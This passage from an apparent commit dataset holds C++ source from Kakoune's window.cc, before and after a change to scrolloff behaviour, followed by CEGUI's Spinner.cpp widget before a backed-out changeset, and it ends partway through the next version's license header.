utf8::distance(buf.iterator_at(atom.begin()),\n                                                 buf.iterator_at(pos));\n                        pos_end = pos_beg+1;\n                    }\n                    else\n                    {\n                        pos_beg = buffer_column;\n                        pos_end = pos_beg + atom.length();\n                    }\n\n                    if (pos_beg - offset < view_pos)\n                        return std::max(0_char, pos_beg - offset);\n\n                    if (pos_end + offset >= view_pos + view_size - non_buffer_column)\n                        return pos_end + offset - view_size + non_buffer_column;\n                }\n                buffer_column += atom.length();\n            }\n            else\n                non_buffer_column += atom.length();\n        }\n    }\n    return view_pos;\n}\n\nvoid Window::scroll_to_keep_selection_visible_ifn(const Context& context)\n{\n    auto& selection = context.selections().main();\n    const auto& anchor = selection.anchor();\n    const auto& cursor  = selection.cursor();\n\n    const CharCoord max_offset{(m_dimensions.line - 1)\/2,\n                               (m_dimensions.column - 1)\/2};\n    const CharCoord offset = std::min(options()[\"scrolloff\"].get<CharCoord>(),\n                                      max_offset);\n\n    \/\/ scroll lines if needed, try to get as much of the selection visible as possible\n    m_position.line = adapt_view_pos(anchor.line, offset.line, m_position.line,\n                                     m_dimensions.line, buffer().line_count());\n    m_position.line = adapt_view_pos(cursor.line,  offset.line, m_position.line,\n                                     m_dimensions.line, buffer().line_count());\n\n    \/\/ highlight only the line containing the cursor\n    DisplayBuffer display_buffer;\n    DisplayBuffer::LineList& lines = display_buffer.lines();\n    lines.emplace_back(AtomList{ {buffer(), cursor.line, cursor.line+1} });\n\n    display_buffer.compute_range();\n    BufferRange range{cursor.line, cursor.line + 1};\n    m_highlighters.highlight(context, HighlightFlags::MoveOnly, display_buffer, range);\n    m_builtin_highlighters.highlight(context, HighlightFlags::MoveOnly, display_buffer, range);\n\n    \/\/ now we can compute where the cursor is in display columns\n    \/\/ (this is only valid if highlighting one line and multiple lines put\n    \/\/ the cursor in the same position, however I do not find any sane example\n    \/\/ of highlighters not doing that)\n    m_position.column = adapt_view_pos(display_buffer, offset.column,\n                                       anchor.line == cursor.line ? anchor : cursor.line,\n                                       m_position.column, m_dimensions.column);\n    m_position.column = adapt_view_pos(display_buffer, offset.column, cursor,\n                                       m_position.column, m_dimensions.column);\n}\n\nnamespace\n{\nCharCount find_display_column(const DisplayLine& line, const Buffer& buffer,\n                              ByteCoord coord)\n{\n    CharCount column = 0;\n    for (auto& atom : line)\n    {\n        if (atom.has_buffer_range() and\n            coord >= atom.begin() and coord < atom.end())\n        {\n            if (atom.type() == DisplayAtom::BufferRange)\n                column += utf8::distance(buffer.iterator_at(atom.begin()),\n                                         buffer.iterator_at(coord));\n            return column;\n        }\n        column += atom.length();\n    }\n    return column;\n}\n\nByteCoord find_buffer_coord(const DisplayLine& line, const Buffer& buffer,\n                            CharCount column)\n{\n    auto& range = line.range();\n    for (auto& atom : line)\n    {\n        CharCount len = atom.length();\n        if (atom.has_buffer_range() and column < len)\n        {\n            if (atom.type() == DisplayAtom::BufferRange)\n                return utf8::advance(buffer.iterator_at(atom.begin()), buffer.iterator_at(range.end),\n                                     std::max(0_char, column)).coord();\n             return atom.begin();\n        }\n        column -= len;\n    }\n    return buffer.clamp(buffer.prev(range.end));\n}\n}\n\nCharCoord Window::display_position(ByteCoord coord) const\n{\n    LineCount l = 0;\n    for (auto& line : m_display_buffer.lines())\n    {\n        auto& range = line.range();\n        if (range.begin <= coord and coord < range.end)\n            return {l, find_display_column(line, buffer(), coord)};\n        ++l;\n    }\n    return { 0, 0 };\n}\n\nByteCoord Window::buffer_coord(CharCoord coord) const\n{\n    if (coord <= 0_line)\n        coord = {0,0};\n    if ((int)coord.line >= m_display_buffer.lines().size())\n        coord = CharCoord{(int)m_display_buffer.lines().size()-1, INT_MAX};\n\n    return find_buffer_coord(m_display_buffer.lines()[(int)coord.line],\n                             buffer(), coord.column);\n}\n\nByteCoord Window::offset_coord(ByteCoord coord, CharCount offset)\n{\n    return buffer().offset_coord(coord, offset);\n}\n\nByteCoordAndTarget Window::offset_coord(ByteCoordAndTarget coord, LineCount offset)\n{\n    auto line = clamp(coord.line + offset, 0_line, buffer().line_count()-1);\n    DisplayBuffer display_buffer;\n    DisplayBuffer::LineList& lines = display_buffer.lines();\n    lines.emplace_back(AtomList{ {buffer(), coord.line, coord.line+1} });\n    lines.emplace_back(AtomList{ {buffer(), line, line+1} });\n    display_buffer.compute_range();\n\n    BufferRange range{ std::min(line, coord.line), std::max(line,coord.line)+1};\n\n    InputHandler input_handler{{ *m_buffer, Selection{} }, Context::Flags::Transient};\n    input_handler.context().set_window(*this);\n    m_highlighters.highlight(input_handler.context(), HighlightFlags::MoveOnly, display_buffer, range);\n    m_builtin_highlighters.highlight(input_handler.context(), HighlightFlags::MoveOnly, display_buffer, range);\n\n    CharCount column = coord.target == -1 ? find_display_column(lines[0], buffer(), coord) : coord.target;\n    return { find_buffer_coord(lines[1], buffer(), column), column };\n}\n\nvoid Window::clear_display_buffer()\n{\n    m_display_buffer = DisplayBuffer{};\n}\n\nvoid Window::on_option_changed(const Option& option)\n{\n    run_hook_in_own_context(\"WinSetOption\",\n                            format(\"{}={}\", option.name(), option.get_as_string()));\n\n    \/\/ an highlighter might depend on the option, so we need to redraw\n    force_redraw();\n}\n\n\nvoid Window::run_hook_in_own_context(StringView hook_name, StringView param)\n{\n    InputHandler hook_handler({ *m_buffer, Selection{} }, Context::Flags::Transient);\n    hook_handler.context().set_window(*this);\n    hooks().run_hook(hook_name, param, hook_handler.context());\n}\n}\n<commit_msg>Change scrolloff behaviour, allow displaying pas the end of buffer<commit_after>#include \"window.hh\"\n\n#include \"assert.hh\"\n#include \"context.hh\"\n#include \"highlighter.hh\"\n#include \"hook_manager.hh\"\n#include \"input_handler.hh\"\n#include \"user_interface.hh\"\n\n#include <algorithm>\n#include <sstream>\n\nnamespace Kakoune\n{\n\n\/\/ Implementation in highlighters.cc\nvoid highlight_selections(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\nvoid expand_tabulations(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\nvoid expand_unprintable(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\n\nWindow::Window(Buffer& buffer)\n    : Scope(buffer),\n      m_buffer(&buffer)\n{\n    run_hook_in_own_context(\"WinCreate\", buffer.name());\n\n    options().register_watcher(*this);\n\n    m_builtin_highlighters.add_child({\"tabulations\"_str, make_simple_highlighter(expand_tabulations)});\n    m_builtin_highlighters.add_child({\"unprintable\"_str, make_simple_highlighter(expand_unprintable)});\n    m_builtin_highlighters.add_child({\"selections\"_str,  make_simple_highlighter(highlight_selections)});\n\n    for (auto& option : options().flatten_options())\n        on_option_changed(*option);\n}\n\nWindow::~Window()\n{\n    run_hook_in_own_context(\"WinClose\", buffer().name());\n    options().unregister_watcher(*this);\n}\n\nvoid Window::display_line_at(LineCount buffer_line, LineCount display_line)\n{\n    if (display_line >= 0 or display_line < m_dimensions.line)\n        m_position.line = std::max(0_line, buffer_line - display_line);\n}\n\nvoid Window::center_line(LineCount buffer_line)\n{\n    display_line_at(buffer_line, m_dimensions.line\/2_line);\n}\n\nvoid Window::scroll(LineCount offset)\n{\n    m_position.line = std::max(0_line, m_position.line + offset);\n}\n\nvoid Window::scroll(CharCount offset)\n{\n    m_position.column = std::max(0_char, m_position.column + offset);\n}\n\nsize_t Window::compute_hash(const Context& context) const\n{\n    size_t res = hash_values(m_position, context.ui().dimensions(), context.buffer().timestamp());\n\n    auto& selections = context.selections();\n    res = combine_hash(res, hash_value(selections.main_index()));\n    for (auto& sel : selections)\n        res = combine_hash(res, hash_values((const ByteCoord&)sel.cursor(), sel.anchor()));\n\n    return res;\n}\n\nbool Window::needs_redraw(const Context& context) const\n{\n    size_t hash = compute_hash(context);\n    return hash != m_hash;\n}\n\nconst DisplayBuffer& Window::update_display_buffer(const Context& context)\n{\n    DisplayBuffer::LineList& lines = m_display_buffer.lines();\n    lines.clear();\n\n    m_dimensions = context.ui().dimensions();\n    if (m_dimensions == CharCoord{0,0})\n        return m_display_buffer;\n\n    kak_assert(&buffer() == &context.buffer());\n    scroll_to_keep_selection_visible_ifn(context);\n\n    for (LineCount line = 0; line < m_dimensions.line; ++line)\n    {\n        LineCount buffer_line = m_position.line + line;\n        if (buffer_line >= buffer().line_count())\n            break;\n        lines.emplace_back(AtomList{ {buffer(), buffer_line, buffer_line+1} });\n    }\n\n    m_display_buffer.compute_range();\n    BufferRange range{{0,0}, buffer().end_coord()};\n    m_highlighters.highlight(context, HighlightFlags::Highlight, m_display_buffer, range);\n    m_builtin_highlighters.highlight(context, HighlightFlags::Highlight, m_display_buffer, range);\n\n    \/\/ cut the start of the line before m_position.column\n    for (auto& line : lines)\n        line.trim(m_position.column, m_dimensions.column, true);\n    m_display_buffer.optimize();\n\n    m_hash = compute_hash(context);\n\n    return m_display_buffer;\n}\n\nvoid Window::set_position(CharCoord position)\n{\n    m_position.line = std::max(0_line, position.line);\n    m_position.column = std::max(0_char, position.column);\n}\n\nvoid Window::set_dimensions(CharCoord dimensions)\n{\n    m_dimensions = dimensions;\n}\n\nstatic LineCount adapt_view_pos(LineCount line, LineCount offset,\n                                LineCount view_pos, LineCount view_size,\n                                LineCount buffer_size)\n{\n    offset = std::min(offset, (view_size + 1) \/ 2);\n    if (line - offset < view_pos)\n        return std::max(0_line, line - offset);\n    else if (line + offset >= view_pos + view_size)\n        return std::max(0_line, line + offset - view_size);\n    return view_pos;\n}\n\nstatic CharCount adapt_view_pos(const DisplayBuffer& display_buffer, CharCount offset,\n                                ByteCoord pos, CharCount view_pos, CharCount view_size)\n{\n    offset = std::min(offset, (view_size + 1) \/ 2);\n    CharCount buffer_column = 0;\n    CharCount non_buffer_column = 0;\n    for (auto& line : display_buffer.lines())\n    {\n        for (auto& atom : line)\n        {\n            if (atom.has_buffer_range())\n            {\n                if (atom.begin() <= pos and atom.end() > pos)\n                {\n                    CharCount pos_beg, pos_end;\n                    if (atom.type() == DisplayAtom::BufferRange)\n                    {\n                        auto& buf = atom.buffer();\n                        pos_beg = buffer_column\n                                + utf8::distance(buf.iterator_at(atom.begin()),\n                                                 buf.iterator_at(pos));\n                        pos_end = pos_beg+1;\n                    }\n                    else\n                    {\n                        pos_beg = buffer_column;\n                        pos_end = pos_beg + atom.length();\n                    }\n\n                    if (pos_beg - offset < view_pos)\n                        return std::max(0_char, pos_beg - offset);\n\n                    if (pos_end + offset >= view_pos + view_size - non_buffer_column)\n                        return pos_end + offset - view_size + non_buffer_column;\n                }\n                buffer_column += atom.length();\n            }\n            else\n                non_buffer_column += atom.length();\n        }\n    }\n    return view_pos;\n}\n\nvoid Window::scroll_to_keep_selection_visible_ifn(const Context& context)\n{\n    auto& selection = context.selections().main();\n    const auto& anchor = selection.anchor();\n    const auto& cursor  = selection.cursor();\n\n    const CharCoord offset = options()[\"scrolloff\"].get<CharCoord>();\n\n    \/\/ scroll lines if needed, try to get as much of the selection visible as possible\n    m_position.line = adapt_view_pos(anchor.line, offset.line, m_position.line,\n                                     m_dimensions.line, buffer().line_count());\n    m_position.line = adapt_view_pos(cursor.line,  offset.line, m_position.line,\n                                     m_dimensions.line, buffer().line_count());\n\n    \/\/ highlight only the line containing the cursor\n    DisplayBuffer display_buffer;\n    DisplayBuffer::LineList& lines = display_buffer.lines();\n    lines.emplace_back(AtomList{ {buffer(), cursor.line, cursor.line+1} });\n\n    display_buffer.compute_range();\n    BufferRange range{cursor.line, cursor.line + 1};\n    m_highlighters.highlight(context, HighlightFlags::MoveOnly, display_buffer, range);\n    m_builtin_highlighters.highlight(context, HighlightFlags::MoveOnly, display_buffer, range);\n\n    \/\/ now we can compute where the cursor is in display columns\n    \/\/ (this is only valid if highlighting one line and multiple lines put\n    \/\/ the cursor in the same position, however I do not find any sane example\n    \/\/ of highlighters not doing that)\n    m_position.column = adapt_view_pos(display_buffer, offset.column,\n                                       anchor.line == cursor.line ? anchor : cursor.line,\n                                       m_position.column, m_dimensions.column);\n    m_position.column = adapt_view_pos(display_buffer, offset.column, cursor,\n                                       m_position.column, m_dimensions.column);\n}\n\nnamespace\n{\nCharCount find_display_column(const DisplayLine& line, const Buffer& buffer,\n                              ByteCoord coord)\n{\n    CharCount column = 0;\n    for (auto& atom : line)\n    {\n        if (atom.has_buffer_range() and\n            coord >= atom.begin() and coord < atom.end())\n        {\n            if (atom.type() == DisplayAtom::BufferRange)\n                column += utf8::distance(buffer.iterator_at(atom.begin()),\n                                         buffer.iterator_at(coord));\n            return column;\n        }\n        column += atom.length();\n    }\n    return column;\n}\n\nByteCoord find_buffer_coord(const DisplayLine& line, const Buffer& buffer,\n                            CharCount column)\n{\n    auto& range = line.range();\n    for (auto& atom : line)\n    {\n        CharCount len = atom.length();\n        if (atom.has_buffer_range() and column < len)\n        {\n            if (atom.type() == DisplayAtom::BufferRange)\n                return utf8::advance(buffer.iterator_at(atom.begin()), buffer.iterator_at(range.end),\n                                     std::max(0_char, column)).coord();\n             return atom.begin();\n        }\n        column -= len;\n    }\n    return buffer.clamp(buffer.prev(range.end));\n}\n}\n\nCharCoord Window::display_position(ByteCoord coord) const\n{\n    LineCount l = 0;\n    for (auto& line : m_display_buffer.lines())\n    {\n        auto& range = line.range();\n        if (range.begin <= coord and coord < range.end)\n            return {l, find_display_column(line, buffer(), coord)};\n        ++l;\n    }\n    return { 0, 0 };\n}\n\nByteCoord Window::buffer_coord(CharCoord coord) const\n{\n    if (coord <= 0_line)\n        coord = {0,0};\n    if ((int)coord.line >= m_display_buffer.lines().size())\n        coord = CharCoord{(int)m_display_buffer.lines().size()-1, INT_MAX};\n\n    return find_buffer_coord(m_display_buffer.lines()[(int)coord.line],\n                             buffer(), coord.column);\n}\n\nByteCoord Window::offset_coord(ByteCoord coord, CharCount offset)\n{\n    return buffer().offset_coord(coord, offset);\n}\n\nByteCoordAndTarget Window::offset_coord(ByteCoordAndTarget coord, LineCount offset)\n{\n    auto line = clamp(coord.line + offset, 0_line, buffer().line_count()-1);\n    DisplayBuffer display_buffer;\n    DisplayBuffer::LineList& lines = display_buffer.lines();\n    lines.emplace_back(AtomList{ {buffer(), coord.line, coord.line+1} });\n    lines.emplace_back(AtomList{ {buffer(), line, line+1} });\n    display_buffer.compute_range();\n\n    BufferRange range{ std::min(line, coord.line), std::max(line,coord.line)+1};\n\n    InputHandler input_handler{{ *m_buffer, Selection{} }, Context::Flags::Transient};\n    input_handler.context().set_window(*this);\n    m_highlighters.highlight(input_handler.context(), HighlightFlags::MoveOnly, display_buffer, range);\n    m_builtin_highlighters.highlight(input_handler.context(), HighlightFlags::MoveOnly, display_buffer, range);\n\n    CharCount column = coord.target == -1 ? find_display_column(lines[0], buffer(), coord) : coord.target;\n    return { find_buffer_coord(lines[1], buffer(), column), column };\n}\n\nvoid Window::clear_display_buffer()\n{\n    m_display_buffer = DisplayBuffer{};\n}\n\nvoid Window::on_option_changed(const Option& option)\n{\n    run_hook_in_own_context(\"WinSetOption\",\n                            format(\"{}={}\", option.name(), option.get_as_string()));\n\n    \/\/ an highlighter might depend on the option, so we need to redraw\n    force_redraw();\n}\n\n\nvoid Window::run_hook_in_own_context(StringView hook_name, StringView param)\n{\n    InputHandler hook_handler({ *m_buffer, Selection{} }, Context::Flags::Transient);\n    hook_handler.context().set_window(*this);\n    hooks().run_hook(hook_name, param, hook_handler.context());\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n\tfilename: \tCEGUISpinner.cpp\n\tcreated:\t3\/2\/2005\n\tauthor:\t\tPaul D Turner\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/widgets\/Spinner.h\"\n#include \"CEGUI\/widgets\/PushButton.h\"\n#include \"CEGUI\/widgets\/Editbox.h\"\n#include \"CEGUI\/Exceptions.h\"\n#include \"CEGUI\/WindowManager.h\"\n#include <stdio.h>\n#include <sstream>\n#include <iomanip>\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n    const String Spinner::WidgetTypeName(\"CEGUI\/Spinner\");\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ event strings\n    const String Spinner::EventNamespace(\"Spinner\");\n    const String Spinner::EventValueChanged(\"ValueChanged\");\n    const String Spinner::EventStepChanged(\"StepChanged\");\n    const String Spinner::EventMaximumValueChanged(\"MaximumValueChanged\");\n    const String Spinner::EventMinimumValueChanged(\"MinimumValueChanged\");\n    const String Spinner::EventTextInputModeChanged(\"TextInputModeChanged\");\n    \/\/ Validator strings\n    const String Spinner::FloatValidator(\"-?\\\\d*\\\\.?\\\\d*\");\n    const String Spinner::IntegerValidator(\"-?\\\\d*\");\n    const String Spinner::HexValidator(\"[0-9a-fA-F]*\");\n    const String Spinner::OctalValidator(\"[0-7]*\");\n    \/\/ component widget name strings\n    const String Spinner::EditboxName( \"__auto_editbox__\" );\n    const String Spinner::IncreaseButtonName( \"__auto_incbtn__\" );\n    const String Spinner::DecreaseButtonName( \"__auto_decbtn__\" );\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n    Spinner::Spinner(const String& type, const String& name) :\n        Window(type, name),\n        d_stepSize(1.0f),\n        d_currentValue(1.0f),\n        d_maxValue(32767.0f),\n        d_minValue(-32768.0f),\n        d_inputMode((TextInputMode)-1)\n    {\n        addSpinnerProperties();\n    }\n\n    Spinner::~Spinner(void)\n    {\n        \/\/ Nothing to do here.\n    }\n\n    void Spinner::initialiseComponents(void)\n    {\n        \/\/ get all the component widgets\n        PushButton* increaseButton = getIncreaseButton();\n        PushButton* decreaseButton = getDecreaseButton();\n        Editbox* editbox = getEditbox();\n\n        \/\/ setup component controls\n        increaseButton->setPointerAutoRepeatEnabled(true);\n        decreaseButton->setPointerAutoRepeatEnabled(true);\n\n        \/\/ perform event subscriptions.\n        increaseButton->subscribeEvent(Window::EventPointerPressHold, Event::Subscriber(&Spinner::handleIncreaseButton, this));\n        decreaseButton->subscribeEvent(Window::EventPointerPressHold, Event::Subscriber(&Spinner::handleDecreaseButton, this));\n        editbox->subscribeEvent(Window::EventTextChanged, Event::Subscriber(&Spinner::handleEditTextChange, this));\n\n        \/\/ final initialisation\n        setTextInputMode(Integer);\n        setCurrentValue(0.0f);\n        performChildWindowLayout();\n    }\n\n    double Spinner::getCurrentValue(void) const\n    {\n        return d_currentValue;\n    }\n\n    double Spinner::getStepSize(void) const\n    {\n        return d_stepSize;\n    }\n\n    double Spinner::getMaximumValue(void) const\n    {\n        return d_maxValue;\n    }\n\n    double Spinner::getMinimumValue(void) const\n    {\n        return d_minValue;\n    }\n\n    Spinner::TextInputMode Spinner::getTextInputMode(void) const\n    {\n        return d_inputMode;\n    }\n\n    void Spinner::setCurrentValue(double value)\n    {\n        if (value != d_currentValue)\n        {\n            \/\/ limit input value to within valid range for spinner\n            value = ceguimax(ceguimin(value, d_maxValue), d_minValue);\n\n            d_currentValue = value;\n\n            WindowEventArgs args(this);\n            onValueChanged(args);\n        }\n    }\n\n    void Spinner::setStepSize(double step)\n    {\n        if (step != d_stepSize)\n        {\n            d_stepSize = step;\n\n            WindowEventArgs args(this);\n            onStepChanged(args);\n        }\n    }\n\n    void Spinner::setMaximumValue(double maxValue)\n    {\n        if (maxValue != d_maxValue)\n        {\n            d_maxValue = maxValue;\n\n            WindowEventArgs args(this);\n            onMaximumValueChanged(args);\n        }\n    }\n\n    void Spinner::setMinimumValue(double minVaue)\n    {\n        if (minVaue != d_minValue)\n        {\n            d_minValue = minVaue;\n\n            WindowEventArgs args(this);\n            onMinimumValueChanged(args);\n        }\n    }\n\n    void Spinner::setTextInputMode(TextInputMode mode)\n    {\n        if (mode != d_inputMode)\n        {\n            switch (mode)\n            {\n            case FloatingPoint:\n                getEditbox()->setValidationString(FloatValidator);\n                break;\n            case Integer:\n                getEditbox()->setValidationString(IntegerValidator);\n                break;\n            case Hexadecimal:\n                getEditbox()->setValidationString(HexValidator);\n                break;\n            case Octal:\n                getEditbox()->setValidationString(OctalValidator);\n                break;\n            default:\n                CEGUI_THROW(InvalidRequestException(\n                    \"An unknown TextInputMode was specified.\"));\n            }\n\n            d_inputMode = mode;\n\n            WindowEventArgs args(this);\n            onTextInputModeChanged(args);\n        }\n    }\n\n    void Spinner::addSpinnerProperties(void)\n    {\n        const String& propertyOrigin = WidgetTypeName;\n\n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"CurrentValue\", \"Property to get\/set the current value of the spinner.  Value is a float.\",\n            &Spinner::setCurrentValue, &Spinner::getCurrentValue, 0.0f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"StepSize\", \"Property to get\/set the step size of the spinner.  Value is a float.\",\n            &Spinner::setStepSize, &Spinner::getStepSize, 1.0f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"MinimumValue\", \"Property to get\/set the minimum value setting of the spinner.  Value is a float.\",\n            &Spinner::setMinimumValue, &Spinner::getMinimumValue, -32768.000000f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"MaximumValue\", \"Property to get\/set the maximum value setting of the spinner.  Value is a float.\",\n            &Spinner::setMaximumValue, &Spinner::getMaximumValue, 32767.000000f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, Spinner::TextInputMode,\n            \"TextInputMode\", \"Property to get\/set the TextInputMode setting for the spinner.  Value is \\\"FloatingPoint\\\", \\\"Integer\\\", \\\"Hexadecimal\\\", or \\\"Octal\\\".\",\n            &Spinner::setTextInputMode, &Spinner::getTextInputMode, Spinner::Integer\n        );\n    }\n\n    double Spinner::getValueFromText(void) const\n    {\n        String tmpTxt(getEditbox()->getText());\n\n        \/\/ handle empty and lone '-' or '.' cases\n        if (tmpTxt.empty() || (tmpTxt == \"-\") || (tmpTxt == \".\"))\n        {\n            return 0.0f;\n        }\n\n        int res, tmp;\n        uint utmp;\n        double val;\n\n        switch (d_inputMode)\n        {\n        case FloatingPoint:\n            res = sscanf(tmpTxt.c_str(), \"%lf\", &val);\n            break;\n        case Integer:\n            res = sscanf(tmpTxt.c_str(), \"%d\", &tmp);\n            val = static_cast<double>(tmp);\n            break;\n        case Hexadecimal:\n            res = sscanf(tmpTxt.c_str(), \"%x\", &utmp);\n            val = static_cast<double>(utmp);\n            break;\n        case Octal:\n            res = sscanf(tmpTxt.c_str(), \"%o\", &utmp);\n            val = static_cast<double>(utmp);\n            break;\n        default:\n            CEGUI_THROW(InvalidRequestException(\n                \"An unknown TextInputMode was encountered.\"));\n        }\n\n        if (res)\n        {\n            return val;\n        }\n\n        CEGUI_THROW(InvalidRequestException(\n            \"The string '\" + getEditbox()->getText() +\n            \"' can not be converted to numerical representation.\"));\n    }\n\n    String Spinner::getTextFromValue(void) const\n    {\n        std::stringstream tmp;\n\n        switch (d_inputMode)\n        {\n        case FloatingPoint:\n            return CEGUI::PropertyHelper<float>::toString( static_cast<float>(d_currentValue) );\n            break;\n        case Integer:\n            tmp << static_cast<int>(d_currentValue);\n            break;\n        case Hexadecimal:\n            tmp << std::hex << std::uppercase << static_cast<int>(d_currentValue);\n            break;\n        case Octal:\n            tmp << std::oct << static_cast<int>(d_currentValue);\n            break;\n        default:\n            CEGUI_THROW(InvalidRequestException(\n                \"An unknown TextInputMode was encountered.\"));\n        }\n\n        return String(tmp.str().c_str());\n    }\n\n    void Spinner::onFontChanged(WindowEventArgs& e)\n    {\n        \/\/ Propagate to children\n        getEditbox()->setFont(getFont());\n        \/\/ Call base class handler\n        Window::onFontChanged(e);\n    }\n\n    void Spinner::onTextChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n\n        \/\/ update only if needed\n        if (editbox->getText() != getText())\n        {\n            \/\/ done before doing base class processing so event subscribers see\n            \/\/ 'updated' version.\n            editbox->setText(getText());\n            ++e.handled;\n\n            Window::onTextChanged(e);\n        }\n    }\n\n    void Spinner::onActivated(ActivationEventArgs& e)\n    {\n        if (!isActive())\n        {\n            Window::onActivated(e);\n\n            Editbox* editbox = getEditbox();\n\n            if (!editbox->isActive())\n            {\n                editbox->activate();\n            }\n        }\n    }\n\n    void Spinner::onValueChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n\n        \/\/ mute to save doing unnecessary events work.\n        bool wasMuted = editbox->isMuted();\n        editbox->setMutedState(true);\n\n        \/\/ Update editbox and spinner text with new value.\n        \/\/ (allow empty and '-' cases to equal 0 with no text change required)\n        if (!(d_currentValue == 0 &&\n              (editbox->getText().empty() || editbox->getText() == \"-\")))\n        {\n            const CEGUI::String& valueString = getTextFromValue();\n            editbox->setText(valueString);\n            setText(valueString);\n        }\n        \/\/ restore previous mute state.\n        editbox->setMutedState(wasMuted);\n\n        fireEvent(EventValueChanged, e, EventNamespace);\n    }\n\n    void Spinner::onStepChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventStepChanged, e, EventNamespace);\n    }\n\n    void Spinner::onMaximumValueChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventMaximumValueChanged, e, EventNamespace);\n\n        if (d_currentValue > d_maxValue)\n        {\n            setCurrentValue(d_maxValue);\n        }\n    }\n\n    void Spinner::onMinimumValueChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventMinimumValueChanged, e, EventNamespace);\n\n        if (d_currentValue < d_minValue)\n        {\n            setCurrentValue(d_minValue);\n        }\n    }\n\n    void Spinner::onTextInputModeChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n        \/\/ update edit box text to reflect new mode.\n        \/\/ mute to save doing unnecessary events work.\n        bool wasMuted = editbox->isMuted();\n        editbox->setMutedState(true);\n        \/\/ Update text with new value.\n        editbox->setText(getTextFromValue());\n        \/\/ restore previous mute state.\n        editbox->setMutedState(wasMuted);\n\n        fireEvent(EventTextInputModeChanged, e, EventNamespace);\n    }\n\n    bool Spinner::handleIncreaseButton(const EventArgs& e)\n    {\n        if (((const PointerEventArgs&)e).source == PS_Left)\n        {\n            setCurrentValue(d_currentValue + d_stepSize);\n            return true;\n        }\n\n        return false;\n    }\n\n    bool Spinner::handleDecreaseButton(const EventArgs& e)\n    {\n        if (((const PointerEventArgs&)e).source == PS_Left)\n        {\n            setCurrentValue(d_currentValue - d_stepSize);\n            return true;\n        }\n\n        return false;\n    }\n\n    bool Spinner::handleEditTextChange(const EventArgs&)\n    {\n        \/\/ set this windows text to match\n        setText(getEditbox()->getText());\n        \/\/ update value\n        setCurrentValue(getValueFromText());\n        return true;\n    }\n\n    PushButton* Spinner::getIncreaseButton() const\n    {\n        return static_cast<PushButton*>(getChild(IncreaseButtonName));\n    }\n\n    PushButton* Spinner::getDecreaseButton() const\n    {\n        return static_cast<PushButton*>(getChild(DecreaseButtonName));\n    }\n\n    Editbox* Spinner::getEditbox() const\n    {\n        return static_cast<Editbox*>(getChild(EditboxName));\n    }\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ End of  CEGUI namespace section\n<commit_msg>Backed out changeset: ebcdf16f6207<commit_after>\/***********************************************************************\n\tfilename: \tCEGUISpinner.cpp\n\tcreated:\t3\/2\/2005\n\tauthor:\t\tPaul D Turner\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2006 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A 